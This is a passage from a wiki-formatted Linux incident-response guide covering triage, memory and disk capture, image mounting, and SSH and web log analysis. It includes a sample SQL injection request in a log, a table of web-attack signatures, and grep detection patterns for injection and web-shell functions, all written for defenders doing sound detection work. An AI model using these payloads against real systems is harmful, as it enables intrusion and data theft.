sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
